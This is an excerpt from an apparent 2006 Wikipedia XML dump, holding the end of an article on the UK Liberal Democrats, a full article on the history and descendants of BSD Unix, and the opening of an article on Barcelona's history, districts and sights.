It would be easy, but misleading, to presume to characterise these two wings of the party as consisting of former SDP members and former Liberal Party members respectively. However, many prominent social liberals (including [[Menzies Campbell]] and [[Paddy Ashdown]]) were former Liberal MPs, whereas the two most prominent economic liberals ([[Mark Oaten]] and [[Vincent Cable]]) both came to the Liberal Democrats from the SDP. Content of personnel in these two wings are almost totally unrelated to such former party affiliation, whereas some ideological features of these wings can be said to have been stronger represented in former element parties.

==Structure==
The Liberal Democrats are a federal party comprising the state parties of Wales, Scotland and England, with around 72,000 members in total. Scotland and England are further split into regional parties. There are a number of Specified Associated Organisations (SAOs), representing particular groupings such as Ethnic Minorities ([[Ethnic Minority Liberal Democrats|EMLD]]), Women ([[Women Liberal Democrats|WLD]]), LGBT people ([[Delga]]), Youth &amp; Student ([[Liberal Democrat Youth &amp; Students|LDYS]]), Trade Unionists (ALDTU), Engineers &amp; Scientists ([http://www.aldes.org.uk ALDES]), Parliamentary Candidates ([[PCA]]) and Local Councillors (ALDC) which formally review and input to party policy. Other groups can become Associated Organisations (AOs) as pressure groups within the party.

The Liberal Democrats, like the [[Conservative Party (UK)|Conservatives]], organise in [[Northern Ireland]]. However, unlike the Conservatives, the Lib Dems have chosen not to contest elections in the province. Instead, they have opted to work with the [[Alliance Party of Northern Ireland]], with the ''de facto'' agreement that the Liberal Democrats will support the Alliance Party in elections. Indeed, many individuals, including several notable parliamentarians, hold membership of both parties. Alliance members of the [[House of Lords]] take the Liberal Democrat [[whip (politics)|whip]] on non-Northern Ireland issues, and the Alliance Party always maintains a stall set out at the [[Liberal Democrat Party Conference]].

==See also==
*[[List of Liberal Democrat MPs]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Liberalism worldwide]]
*[[List of liberal parties]]
*[[Liberal democracy]]
*[[Liberalism in the United Kingdom]]
*[[LDYS]]
*[[British politics]]
*[[Federalism]]
*[[Community politics]]
*[[EARS (Software)|EARS]]
*[[Social Democratic Party (UK)|SDP]]
*[[Glee Club (Liberalism)|Glee Club]]
*[[The Land (song)|The Land]]
*[[Beveridge Group]]

== Leaders of the Liberal Democrats, 1988–present ==

* [[David Steel]] and [[Robert Maclennan]], [[1988]] (interim)
* [[Paddy Ashdown]], 1988 – [[1999]]
* [[Charles Kennedy]], 1999 – [[2006]]
* Sir [[Menzies Campbell]], 2006 –

{{further|[[Liberal Democrats leadership election, 2006]]}}

==Frontbench: &quot;Shadow cabinet&quot;==
{{further|[[Liberal Democrat Frontbench Team]]}}

==External links==

*[http://www.libdems.org.uk/ Liberal Democrats] official site

=== Party sub-organisations ===

*[http://www.scotlibdems.org.uk/ Scottish Liberal Democrats]
*[http://www.demrhydcymru.org.uk/ Welsh Liberal Democrats]
*[http://www.glalibdems.org.uk/ London Assembly Liberal Democrats]
*[http://www.libdempca.org.uk/ Liberal Democrat Parliamentary Candidates Association]
*[http://www.delga.org.uk/ Delga: Liberal Democrats for Lesbian, Gay, Bisexual and Transgender Action]
*[http://www.ldys.org.uk/ Liberal Democrat Youth &amp; Students]
*[http://www.libg.org.uk/ Liberal International British Group]
*[http://www.greenlibdems.org.uk/ Green Liberal Democrats]
*[http://www.liberalfuture.com/ Liberal Future]
*[http://www.beveridgegroup.org.uk The Beveridge Group]

*[http://www.dmoz.org/Regional/Europe/United_Kingdom/Society_and_Culture/Politics/Parties/Liberal_Democrats/ Liberal Democrats websites directory]

=== Historical information ===

*[http://www.liberalhistory.org.uk/ Liberal Democrat History Group]
*[http://www.libdemmanifesto.com/ An archive of Liberal/SDP/Liberal Democrat electoral manifestos from 1900-present]

=== Category listings ===

*[http://search.looksmart.com/p/browse/us1/us317836/us552286/us526499/us526505/us10234373/us703545/us671216/us671224/ ''LookSmart'' Liberal Democrats]
*[http://dmoz.org/Regional/Europe/United_Kingdom/Society_and_Culture/Politics/Parties/Liberal_Democrats/ ''Open Directory Project'' Liberal Democrats] 
*[http://dir.yahoo.com/Regional/Countries/United_Kingdom/Government/Politics/Parties/Liberal_Democrat_Party/ ''Yahoo!'' Liberal Democrat Party]

=== Miscellaneous ===

*[http://www.flocktogether.org.uk/ An overview of upcoming Liberal Democrat meetings around the country]
*[http://politics.guardian.co.uk/libdems/ Guardian Unlimited Politics - Special Report: Liberal Democrats]
*[http://kwiki.ffii.org/ElectUkLib0405En Liberal Democrats and Software patents]
*[http://www.liberator.org.uk Liberator - a British liberal publication]
*[http://www.bonkers.hall.btinternet.co.uk Lord Bonkers' Liberal Satire from Rutland]
*[http://www.liberalreview.com Liberal Review, a review of Liberal Democrat blogs and media]
*[http://www.libdemblogs.co.uk Lib Dem Blogs, an aggregator of Liberal Democrat blogs]
*[http://www.united4belarus.org.uk United4Belarus, a campaign, run by the Liberal Democrat Youth and Students for democracy in upcoming Belarussian presidential elections]

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[[Category:Political parties in the United Kingdom]]
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|name = BSD Unix
|screenshot = [[Image:BSD-daemon-rendering.png|A rendering of Beastie, the BSD daemon by Poul-Henning Kamp]]
|caption = 
|developer = [[Computer Systems Research Group|Computer Systems &lt;br /&gt;Research Group]], [[University of California, Berkeley|UC Berkeley]]
|family = [[Unix]]
|source_model = [[Open source]]
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'''Berkeley Software Distribution''' ('''BSD''', sometimes called '''Berkeley Unix''') is the [[Unix]] derivative distributed by the [[University of California, Berkeley]] starting in the [[1970s]]. The name is also used collectively for the modern descendants of these distributions.

BSD was widely identified with the versions of Unix available for workstation-class systems. This can be attributed to the ease with which it could be licensed and the familiarity it found among the founders of many technology companies during the 1980s. This familarity often came from using similar systems&amp;mdash;notably [[Digital Equipment Corporation|DEC]]'s [[Ultrix]] and [[Sun Microsystems|Sun]]'s [[SunOS]]&amp;mdash;during their education. While BSD itself was largely superseded by the [[System V]] Release 4.x and [[OSF/1]] systems in the 1990s, in recent years modified [[open source]] versions of the codebase have seen increasing use and development.

==History==
[[Image:Unix history-simple.png|thumb|[[Unix]], filiation on Unix systems.]]
===PDP-11 beginnings===
The earliest distributions of Unix from [[Bell Labs]] in the [[1970s]] included the [[source code]] to the operating system, allowing researchers at [[university|universities]] to modify and extend Unix.  The first Unix system at Berkeley was a [[PDP-11]] installed in [[1974]], and the [[computer science]] department used it for extensive research thereafter.

Other universities became interested in the software at Berkeley, and so in [[1977]] [[Bill Joy]], then a graduate student at Berkeley, assembled and sent out tapes of the '''first Berkeley Software Distribution''' ('''1BSD''').  1BSD was an add-on to [[Sixth Edition Unix]] rather than a complete operating system in its own right; its main components were a [[Pascal programming language|Pascal]] [[compiler]] and Joy's [[ex (editor)|ex]] [[line editor]].

The '''Second Berkeley Software Distribution''' ('''2BSD'''), released in [[1978]], included updated versions of the 1BSD software as well as two new programs by Joy that persist on Unix systems to this day: the [[vi]] text editor (a [[visual editor|visual]] version of ex) and the [[C shell]].

Later releases of 2BSD contained ports of changes to the [[VAX]]-based releases of BSD back to the PDP-11 architecture. 2.9BSD from [[1983]] included code from 4.1cBSD, and was the first release that was a full OS (a modified [[Version 7 Unix]]) rather than a set of applications and patches. The most recent release, '''2.11BSD''', was first released in [[1992]], with maintenance updates from volunteers continuing until [[2003]].

===VAX versions===
A [[VAX]] computer was installed at Berkeley in [[1978]], but the [[porting|port]] of Unix to the VAX architecture, [[UNIX/32V]], did not take advantage of the VAX's [[virtual memory]] capabilities.  The [[kernel (computer science)|kernel]] of 32V was largely rewritten by Berkeley students to include a virtual memory implementation, and a complete operating system including the new kernel, ports of the 2BSD utilities to the VAX, and the utilities from 32V was released as '''3BSD''' at the end of [[1979]]. 3BSD was also alternatively called Virtual VAX/UNIX or VMUNIX (for Virtual Memory Unix), and BSD kernel images were normally called &lt;tt&gt;/vmunix&lt;/tt&gt; until 4.4BSD.

The success of 3BSD was a major factor in the [[Defense Advanced Research Projects Agency]]'s (DARPA) decision to fund Berkeley's [[Computer Systems Research Group]] (CSRG), which would develop a standard Unix platform for future DARPA research in the [[VLSI Project]]. CSRG released '''4BSD''', containing numerous improvements to the 3BSD system, in [[October]] [[1980]].

'''4.1BSD''' ([[June]] [[1981]]) was a response to criticisms of BSD's performance relative to the dominant VAX operating system, [[VMS]].  The 4.1BSD kernel was systematically tuned up by Bill Joy until it could perform as well as VMS on several benchmarks.  (The release would have been called ''5BSD'', but the name was changed to avoid confusion with [[AT&amp;T]]'s [[UNIX System V]] release. One early, never-released test version was in fact called 4.5BSD.)

'''4.2BSD''' would take over two years to implement and contained several major overhauls.  Before its official release came three intermediate versions: ''4.1a'' incorporated a modified version of [[Bolt, Beranek and Newman|BBN]]'s preliminary [[TCP/IP]] implementation; ''4.1b'' included the new [[Berkeley Fast File System]], implemented by [[Marshall Kirk McKusick]]; and ''4.1c'' was an interim release during the last few months of 4.2BSD's development.

The official 4.2BSD release came in [[August]] [[1983]].  It was notable as the first version released after the [[1982]] departure of Bill Joy to co-found [[Sun Microsystems]]; [[Mike Karels]] and [[Marshall Kirk McKusick]] took on leadership roles within the project from that point forward.  On a lighter note, it also marked the debut of [[BSD Daemon|BSD's daemon mascot]] in a drawing by McKusick that appeared on the cover of the printed manuals distributed by [[USENIX]].

===4.3BSD===
'''4.3BSD''' was released in [[June]] [[1986]].  Its main changes were to improve the performance of many of the new contributions of 4.2BSD that had not been as heavily tuned as the 4.1BSD code.  Prior to the release, BSD's implementation of TCP/IP had diverged considerably from BBN's official implementation.  After several months of testing, DARPA determined that the 4.2BSD version was superior and would remain in 4.3BSD.  (See also [[History of the Internet]].)

After 4.3BSD, it was determined that BSD would move away from the aging VAX platform.  The [[Power 6/32]] '''platform''' (codenamed &quot;Tahoe&quot;) developed by [[Computer Consoles, Incorporated]] seemed promising at the time, but was abandoned by its developers shortly thereafter.  Nonetheless, the '''4.3BSD-Tahoe''' port ([[June]] [[1988]]) proved valuable as it led to a separation of machine-dependent and machine-independent code in BSD which would improve the system's future portability.

Until this point, all versions of BSD had incorporated proprietary AT&amp;T Unix code and therefore required licenses from AT&amp;T for their use.  Source code licenses had become very expensive by this point, and several outside parties had expressed interest in a separate release of the networking code, which had been developed entirely outside AT&amp;T and would not be subject to the licensing requirement.  This led to '''Networking Tape 1''' ('''Net/1'''), which was made available to non-licensees of AT&amp;T code and was [[free software|freely redistributable]] under the terms of the permissive [[BSD license]].  It was released in [[June]] [[1989]].

'''4.3BSD-Reno''' came in early [[1990]].  It was an interim release during the early development of 4.4BSD, and its use was considered a &quot;gamble&quot;, hence the naming after the [[gambling]] center of [[Reno, Nevada]]. This release was clearly moving towards [[POSIX]] compliance, and, according to some, away from the BSD philosophy (as POSIX is very much based on System V, and Reno was quite bloated compared to previous releases).

===Net/2 and legal troubles===
After Net/1, BSD developer [[Keith Bostic]] proposed that more non-AT&amp;T sections of the BSD system be released under the same license as Net/1.  To this extent, he started a project to reimplement most of the standard Unix utilities without using the AT&amp;T code.  For example, [[vi]], which had been based on the original Unix version of [[ed]], was rewritten as [[nvi]] (new vi).  Within eighteen months, all the AT&amp;T utilities had been replaced, and it was determined that only a few AT&amp;T files remained in the kernel.  These files were removed, and the result was the [[June]] [[1991]] release of '''Net/2''', a nearly complete operating system that was freely redistributable.

Net/2 was the basis for two separate ports of BSD to the [[Intel 80386]] architecture: the free [[386BSD]] by [[William Jolitz]] and the [[proprietary software|proprietary]] [[BSD/OS|BSD/386]] (later renamed BSD/OS) by [[Berkeley Software Design]] (BSDi).  386BSD itself was short-lived, but became the initial code base of the [[NetBSD]] and [[FreeBSD]] projects that were started shortly thereafter.

BSDi soon found itself in legal trouble with AT&amp;T's [[UNIX Systems Laboratories]] subsidiary, then the owners of the System V [[copyright]] and the Unix [[trademark]].  The [[USL v. BSDi]] lawsuit was filed in [[1992]] and led to an [[injunction]] on the distribution of Net/2 until the validity of USL's copyright claims on the source could be determined.

The lawsuit slowed development of the free-software descendants of BSD for nearly two years while their legal status was in question, and as a result systems based on the [[Linux kernel]], which did not have such legal ambiguity, gained greater support.  [[Linux]] and [[386BSD]] began development at about the same time, and [[Linus Torvalds]] has said that if there had been a free [[Unix-like]] operating system on the 386 at the time, he likely would not have created Linux.   Although it is debatable exactly what effect that would have had on the software landscape since, there is little doubt that it would have been substantial.

===4.4BSD and descendants===
The lawsuit was settled in January [[1994]], largely in Berkeley's favor.  Of the 18,000 files in the Berkeley distribution, only 3 had to be removed and 70 modified to show USL copyright notices.  A further condition of the settlement was that USL would not file further lawsuits against users and distributors of the Berkeley-owned code in the upcoming 4.4BSD release.

In [[June]] [[1994]], '''4.4BSD''' was released in two forms: the freely redistributable '''4.4BSD-Lite''' contained no AT&amp;T source, whereas '''4.4BSD-Encumbered''' was available, as earlier releases had been, only to AT&amp;T licensees.

The final release from Berkeley was [[1995]]'s '''4.4BSD-Lite Release 2''', after which the CSRG was dissolved and development of BSD at Berkeley ceased.  Since then, several distributions based on 4.4BSD (such as [[FreeBSD]], [[OpenBSD]], and [[NetBSD]]) have been maintained.

In addition, the permissive nature of the BSD license has allowed many other operating systems, both free and proprietary, to incorporate BSD code.  For example, [[Microsoft Windows]] has used BSD-derived code in its implementation of TCP/IP and bundles recompiled versions of BSD's [[command line]] networking tools with its current releases. Also [[Darwin (operating system)]], the system on which Apple's [[Mac OS X]] is built, is partly derived from FreeBSD 5.

==Technology==
BSD pioneered many of the advances of modern computing.  Berkeley's Unix was the first Unix to include libraries supporting the [[Internet Protocol]] stacks: ''[[Berkeley sockets]]''.  By integrating sockets with the Unix operating system's [[file descriptor]]s, it became almost as easy to read and write data across a [[computer network|network]] as it was to access a disk. The AT&amp;T laboratory eventually released their own [[STREAMS]] library, which incorporated much of the same functionality in a software stack with a better architecture, but the wide distribution of the existing sockets library, together with the unfortunate omission of a function call for polling a set of open sockets equivalent to the &lt;tt&gt;select&lt;/tt&gt; call in the Berkeley library, reduced the impact of the new [[Application programming interface|API]].

Today, BSD continues to be used as a testbed for technology by academic organizations, as well as finding uses in a lot of commercial and free products and, increasingly, in [[Embedded_system|embedded devices]]. The general quality of its source code, as well as its documentation (especially reference manual pages, commonly referred to as ''[[Unix manual|man pages]]''), make it well-suited for many purposes.

Because of the permissive nature of the BSD license, many corporations use BSD derived code in order to make [[proprietary software]]. This means that it often appears in unexpected places. Searching for strings containing &quot;University of California, Berkeley&quot; in the documentation of products, in the static data sections of [[Executable|binaries]] and [[Read-only memory|ROM]]s, or as part of other information about a software program, will often show BSD code has been used.

It is an interesting fact that BSD operating systems can run much native software of several other operating systems on the same [[Computer architecture|architecture]], using a binary [[compatibility layer]]. Much simpler and faster than [[emulation]], this allows, for instance, applications intended for [[Linux]] to be run at effectively full speed. This makes BSDs not only suitable for server environments, but also for workstation ones, given the increasing availability of commercial or closed-source software for Linux only. This also allows administrators to migrate legacy commercial applications, which may have only supported commercial Unix variants, to a more modern operating system, retaining the functionality of such applications until they can be replaced by a better alternative.

Current BSD operating system variants support many of the common IEEE, ANSI, ISO, and POSIX standards, while retaining most of the traditional BSD behavior. Like [[AT&amp;T Unix]], the BSD kernel is [[monolithic kernel|monolithic]], meaning that device drivers in the kernel run in [[privileged mode]], as part of the core of the operating system. Early versions of BSD were used to form [[Sun Microsystems]]' [[SunOS]], founding the first wave of popular Unix workstations.

==Significant BSD descendants==
:''See also: [[:Category:BSD]]''
BSD has been the base of a large number of operating systems. Most notable among these today is perhaps the major [[open source]] BSDs, [[DragonFly BSD]], [[FreeBSD]], [[NetBSD]] and [[OpenBSD]]—sometimes known as ''the BSDs''—which have themselves spawned a number of children, including [[FreeSBIE]], [[MirOS BSD]] and [[PC-BSD]]. They are targeted at an array of systems for different purposes and are common in government facilities, universities and in commercial use. A number of commercial operating systems are also partly or wholly based on BSD or its descendents, including [[Sun Microsystems|Sun]]'s [[SunOS]] and the [[Apple Computers|Apple]]'s popular [[Mac OS X]]. A selection of significant Unix versions and [[Unix-like]] operating systems that descend from BSD includes:

* the defunct [[BSD/OS]]
* [[Juniper Networks]] routers
* [[386BSD]], the first open source BSD-based operating system
* [[DragonFly BSD]], a [[Fork (software development)|fork]] of FreeBSD to follow an alternative design, particularly related to [[Symmetric_multiprocessing|SMP]]
* [[FreeBSD]], a major open source effort specialising on speed and the [[i386]] platform
* [[NetBSD]], a free BSD with an emphasis on portability
* [[OpenBSD]], a 1995 fork of NetBSD, now focuses on security
* [[Nextstep|NeXTSTEP]] and [[OpenStep]], the parents of Mac OS X
* [[Darwin (operating system)|Darwin]], the core of Mac OS X
* [[Ultrix]], [[Digital Equipment Corporation|DEC]]'s native Unix
* SunOS, one of Sun's earlier products, suceeded by [[Solaris Operating Environment|Solaris]]

==See also==
*[[Bill Joy]]
*[[Marshall Kirk McKusick]]
*[[Keith Bostic]]
*[[386BSD]]
&lt;!-- we should be able to do better than this list. Who wants to write [[UCB Computer Science Research Group]]?--&gt;

==External links==
*[http://www.dragonflybsd.org/ DragonFlyBSD]. [http://www.freebsd.org FreeBSD], [http://www.netbsd.org NetBSD] and [http://www.openbsd.org OpenBSD] – Popular BSD descendents
* [http://www.freebsdsoftware.org Freebsd software]
*[http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/share/misc/bsd-family-tree?rev=HEAD A timeline of BSD and Research UNIX]
*[http://metawire.org/~liamfoy/bsdportal/ BSD Portal] – A BSD news site
*[http://www.bsdwiki.com/ BSDWiki] – A wiki dedicated to the BSD operating systems
*[http://www.levenez.com/unix/ UNIX History] – History of UNIX and BSD using diagrams
*[http://www.google.com/bsd Google's specialized BSD search]
*[http://www.bsdcertification.org/index.htm The BSD Certification Group]

==Further reading==
* Chris Dibona, Mark Stone, Sam Ockman, Open Source (Organization), Brian Behlendorf and J. Scott Bradner. ''Open Sources: Voices from the Open Source Revolution''. [http://www.oreilly.com/ O'Reilly &amp; Associates], 1999. Trade paperback, 272 pages. ISBN 156592582. Online at http://www.oreilly.com/catalog/opensources/book/toc.html; Chapter on BSD - [http://www.oreilly.com/catalog/opensources/book/kirkmck.html &quot;Twenty Years of Berkeley Unix - From AT&amp;T-Owned to Freely Redistributable&quot;]

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[[Category:Operating systems]]

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    </revision>
  </page>
  <page>
    <title>Barcelona</title>
    <id>4443</id>
    <revision>
      <id>42154327</id>
      <timestamp>2006-03-04T04:25:45Z</timestamp>
      <contributor>
        <ip>67.142.130.14</ip>
      </contributor>
      <comment>+ka</comment>
      <text xml:space="preserve">{{OtherUses|the Spanish city}}

{| cellpadding=&quot;2&quot; style=&quot;float: right; width: 310px; background: #e3e3e3; margin-left: 1em; border-spacing: 1px;&quot;
! align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background: #e3e3e3;&quot; | '''City of Barcelona'''
|---- bgcolor=&quot;#FFFFFF&quot;
| align=&quot;center&quot; valign=&quot;top&quot; width=&quot;50%&quot; | Flag&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;[[Image:Bandera de Barcelona.png|150px]]&lt;br&gt;&lt;br&gt;&lt;br&gt;([[Flag of Barcelona|In details]])
| align=&quot;center&quot; valign=&quot;top&quot; width=&quot;50%&quot; | Coat of arms&lt;br&gt;[[Image:Coat of arms of Barcelona.jpg|150px]]&lt;br&gt;([[Coat of arms of Barcelona|In details]])
|----
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Barcelona,_Spain_location.png]]
|---- bgcolor=&quot;#FFFFFF&quot;
| align=&quot;center&quot; colspan=&quot;2&quot; | &lt;!-- Unsourced image removed: [[Image:Barcelona within Barcelonès.png|Barcelona within Barcelonès]] --&gt;&lt;br&gt;[[Barcelonès|Barcelona within Barcelonès]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Province]] || [[Barcelona (province)|Barcelona]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Autonomous community]] || [[Catalonia]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Postal code]] || 08xxx
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Coordinate]]s&lt;br&gt;&amp;nbsp;- Latitude: &lt;br&gt;&amp;nbsp;- Longitude: || &lt;br&gt; 41[[grade|°]]23[[minute|']] [[north|N]] &lt;br&gt;2º11' [[east|E]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Altitude]] || 12 [[metre|m]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Area]] || 100.4 [[square kilometre|km²]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Distance]]s || 500 [[kilometre|km]] to [[Madrid]]
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Population]]&lt;br&gt;&amp;nbsp;- Total ([[2005]])&lt;br&gt;&amp;nbsp;- [[Density of population|Density]] ([[2005]]) || &lt;br&gt; 1,593,075 inhab. &lt;br&gt; 15,869 inhab./km² 
|---- bgcolor=&quot;#FFFFFF&quot;
| [[Demonym]] || barcelonés/barcelonesa ([[Spanish language|Spanish]])&lt;br&gt;barceloní/barcelonina ([[Catalan language|Catalan]])
|---- bgcolor=&quot;#FFFFFF&quot;
| [[River|Rivers]] || [[Llobregat]]&lt;br&gt;[[Besòs]]
|---- bgcolor=&quot;#FFFFFF&quot;
| Mayor (1997-  )|| [[Joan Clos]] ([[Partit dels Socialistes de Catalunya]])
|---- bgcolor=&quot;#FFFFFF&quot;
| Local council website || [http://www.bcn.cat/english/ihome.htm www.bcn.cat]
|}

'''Barcelona''' is the capital city of [[Catalonia]] (Spain). It is located in the [[Comarques of Catalonia|comarca]] of [[Barcelonès]], along the [[Mediterranean Sea|Mediterranean]] coast ({{coor dm|41|23|N|2|11|E|type:city(1,582,738)_region:ES}}) between the mouths of the rivers [[Llobregat]] and [[Besòs]].  It is 160 km (100 mi) south of the [[Pyrenees]] mountain range. The population of the city proper is 1,593,075 (est. 2005), while the population of the [[metropolitan area]] is 4,686,701 (est. 2005). Population of the [[Barcelona (province)|province of Barcelona]] is 5,226,354 (est. 2005), although this only covers 7,733 km² (3,000 mi²) around the city. The [[mayor of Barcelona]] is [[Joan Clos]].

==History==
Legend attributes the [[Carthage|Carthaginian]] foundation of ''Barcino'' to [[Hamilcar Barca]], father of [[Hannibal]]. About [[15 BC]], [[Roman empire|Romans]] redrew the town as a ''[[castra|castrum]]'' (a Roman military camp) centred on the &quot;Mons Taber&quot;, a little hill nearby the contemporary city hall (Plaça de Sant Jaume). The Roman ''Colonia Julia Augusta Faventia Paterna Barcino''  was outshone by the province's capital [[Tarragona]] but some important Roman remains are exposed under the [[Plaça del Rei]], entrance by the city museum, [[Museu d'Història de la Ciutat]] and the typically Roman grid-planning is still visible today on the map of the historical centre, the ''Barri Gótic'' (&quot;Gothic Quarter&quot;). Some remaining fragments of the Roman walls have been incorporated in the cathedral butted up against them [http://www.bluffton.edu/~sullivanm/spain/barcelona/walls/walls.html]; the basilica ''La Seu'' is credited to have been founded in 343. The city was conquered by the [[Visigoths]] in the early [[5th century]], by the [[Moors]] in the early [[8th century]], reconquered from the emir in [[801]] by [[Charlemagne]]'s son [[Louis the Pious|Louis]] who made Barcelona the seat of Carolingian &quot;Spanish Marches&quot; (''[[Marca Hispanica]]''), a buffer zone ruled by the [[Count of Barcelona]]. Barcelona was still a Christian frontier territory when it was sacked by [[Al-Mansur (Abi Amir)|Al-Mansur]] in [[985]]. 

[[Image:Barcelonaharbour.jpg|thumb|left|250px|Barcelona seen from the [[cableway]] over the harbour]]

The counts of Barcelona became increasingly independent and expanded their territory to include all of Catalonia, later formed the [[Crown of Aragon]] who conquered many overseas possessions, ruling the western Mediterranean Sea with outlying territories as far as [[Duke of Athens|Athens]] in the 13th century. The forging of a dynastic link between the Crown of Aragon and [[Castile]] marked the beginning of Barcelona's decline.
 
The city is home to the [[University of Barcelona]], founded in [[1450]].

The city was devastated after the Catalonian Republic of [[1640]] - [[1652]], and again during the [[War of the Spanish Succession]] in [[1714]]. King [[Philip V of Spain]] demolished half of the merchants' quarter (''La Ribera'') to build a military citadel, as a way of both punishing and controlling the rebel city. Official use of Catalan language was forbidden, and the University withdrew.

Barcelona and the province of Catalonia were annexed by the [[First French Empire|French Empire]] of [[Napoleon I|Napoleon]] after he invaded Spain and put his brother [[Joseph Bonaparte|Joseph]] on the Spanish throne. It was returned to Spain after Napoleon's downfall.

During the 19th century, Barcelona grew with the [[industrial revolution]] and the introduction of many new industries. During a period of weaker control by the Madrid authorities, the medieval walls were torn down and the citadel of La Ribera was converted into an urban park: the modern Parc de la Ciutadella, site of the [[1888]] &quot;Universal Exposition&quot; ([[World's Fair]]). The exposition also left behind the ''Arc de Triomf'' and the ''Museu de Zoologia'' (a building originally used during the fair as a cafe-restaurant). The fields that had surrounded the artificially constricted city became the ''Eixample'' (&quot;extension&quot;), a bustling modern city surrounding the old.

[[Image:Barcelonaplazareal.jpg|thumb|left|250px|The Plaça Reial off La Rambla]]

The beginning of the [[20th century]] marked Barcelona's resurgence, while [[Catalan nationalism|Catalan nationalists]] clamoured for political autonomy and greater freedom of cultural expression. 

Barcelona was a stronghold for the [[Anarchism in Spain|anarchist]] cause -anarchist opposition to the call-up of reservists led to the city's [[Tragic Week]] in [[1909]]- siding with the Republic's democratically elected government during the [[Spanish Civil War]] ([[1936]]-[[1939|39]]). It was overrun by [[Francisco Franco]]'s forces in 1939, which ushered in a reign of cultural and [[political repression]] that lasted decades. 

The protest movement of the [[1970s]] and the demise of the dictatorship turned Barcelona into a centre of cultural vitality, enabling it to become the thriving city it is today.  While it may still be the second city of Spain, it has a charm and air that is unique and prized. A decline in the inner city population and displacement towards the outskirts and beyond raises the threat of [[urban sprawl]].

The city has been the focus of the revival of the [[Catalan language]]. Despite massive immigration of Castilian speakers from other parts of Spain in the second half of the 20th century, there has been notable success in the increased use of Catalan in everyday life.

Barcelona was the site of the [[1992 Summer Olympics]]. The largest event held in the city since the '92 Summer Olympics was the [[2004 Universal Forum of Cultures]] that was held between May and September, lasting a marathon 141 days.

Famous people who have lived and worked in Barcelona include: Master Painters [[Pablo Picasso]], [[Joan Miró]], [[Salvador Dalí]], [[Antoni Tàpies]], [[Enrique Tábara]], [[Eugenio Granell]], [[Antonio Saura]], [[Manolo Millares]], [[Juan Villafuerte]]; Architect [[Antoni Gaudí]]. 

See also: [[List of Counts of Barcelona]]

==Events==
* [[1888]] Universal Exposition ([[World's Fair]])
* [[1909]] Tragic Week 
* [[1929]] International Exposition ([[World's Fair]])
* [[1936]] [[People's Olympiad]], cancelled because of the [[Spanish Civil War]]
* [[1952]] Eucharistic Congress
* [[1962]] In late September, major flooding kills 800+ people in the surroundings
* [[1982]] Hosted eight matches of the twelfth [[1982 Football World Cup|Football World Cup]]
* [[1992 Summer Olympics]] 
* [[2004 Universal Forum of Cultures]]
* [[2006 3GSM World Congress]]

==Demographics==

[[Image:Poblacion-Barcelona-ciudad-1900-2005.png|300px|right|thumb|Demographic evolution, 1900-2005, according to the Spanish Instituto Nacional de Estadística]]

The second largest city in Spain, Barcelona numbers around 230,942 immigrants, many of them from Spain's former possessions in Latin America, particularly [[Ecuador]], [[Argentina]] and [[Colombia]]. There are large numbers of [[Moroccan]], Pakistani and Eastern European immigrants, especially from [[Romania]] and the [[Ukraine]].

==Geography==
To its north, the city borders the Besòs river and the municipalities of [[Santa Coloma de Gramenet]] and [[Sant Adrià de Besòs]]; to the south it borders the [[Zona Franca]], [[L'Hospitalet de Llobregat]] and [[Esplugues de Llobregat]]; to the east is the Mediterranean; and to the west are [[Montcada i Reixach]] and [[Sant Cugat del Vallès]].

[[Tibidabo]], a prominent peak to the northwest, is visible from much of the city.

Barcelona is divided into several districts. The following list favours [[Catalan language|Catalan-language]] names over [[Spanish language|Spanish-language]] names; [[as of 2004]], they are the most commonly used and the only official ones:

*[[Ciutat Vella]] (old city): [[El Raval]] (also known as the Barri Xinès), the [[Barri Gòtic]], and the Barri de la Ribera.
*The [[Eixample]]: Sant Antoni, Esquerra de l'Eixample (&quot;the left side of the Eixample&quot; with the sea at your back), Dreta de l'Eixample (&quot;the right side of the Eixample&quot;), Barri de la Sagrada Família
*Sants - [[Montjuïc]]: Can Tunis, Montjuïc, Hostafrancs, Sants, Poble Sec
*Les Corts
*Sarrià - Sant Gervasi: [[Pedralbes]], Sarrià, Sant Gervasi, Vallvidrera
*[[Gràcia]]: Vallcarca, Barri de la Salut, Gràcia, El Camp d'en Grassot
*Horta-Guinardó: Horta, [[El Carmel]], La Teixonera, El Guinardó
*[[Nou Barris]]: Can Peguera, Porta, Canyelles, Ciutat Meridiana, Guineueta, Prosperitat, Vallbona, Verdum, Vilapicina, Roquetes, Trinitat Vella, Trinitat Nova, Torre Baró, Torre Llobeta and Turó de la Peira.
*Sant Andreu: Barri del Congrés, Sant Andreu de Palomar
*Sant Martí: Fort Pius, Sant Martí de Provençals, [[Poble Nou]], La Verneda, el Clot

==Tourist attractions==

===Ciutat Vella===
Barcelona offers a unique opportunity for the tourist on foot to walk from Roman remains to the medieval city, and then to the modern city with its open thoroughfares and grid-iron street pattern. The historic city 
center is fairly flat, while the modern city fans out towards the surrounding hills, bordered by steep streets that are vaguely reminiscent of those found in [[San Francisco]].

[[Image:Barcelonaramblas.jpg|thumb|250px|La Rambla near the waterfront]]

A notable feature is ''La Rambla,'' a boulevard that runs from the city centre to the waterfront, thronged with crowds until late at night and lined by florists, bird sellers in the higher part, craft sellers in the lowest, street entertainers, cafeterias and restaurants. Walking along ''La Rambla'' one can see the world-famous opera house [[El Liceu]], the food market of [[La Boqueria]] and the ''Plaça Reial'' (literally ''Royal Square''), with its arches and palm trees, amongst other interesting buildings. There's also a Wax Museum near the end. It is also worth keeping an eye out for pickpockets, for whom the boulevard is a favourite haunt.

La Rambla ends at the old harbour, where a statue of [[Christopher Columbus]] points eastwards across the Mediterranean Sea to his birth place of Genoa. 

Next to it is the ''Museu Marítim'' (naval museum), which chronicles the history of life on the [[Mediterranean]], including a full-scale model of a [[galley]]. The museum is housed in the medieval ''Drassanes'' (shipyards), where the ships that made Catalonia a great sea power in the Mediterranean were built. 

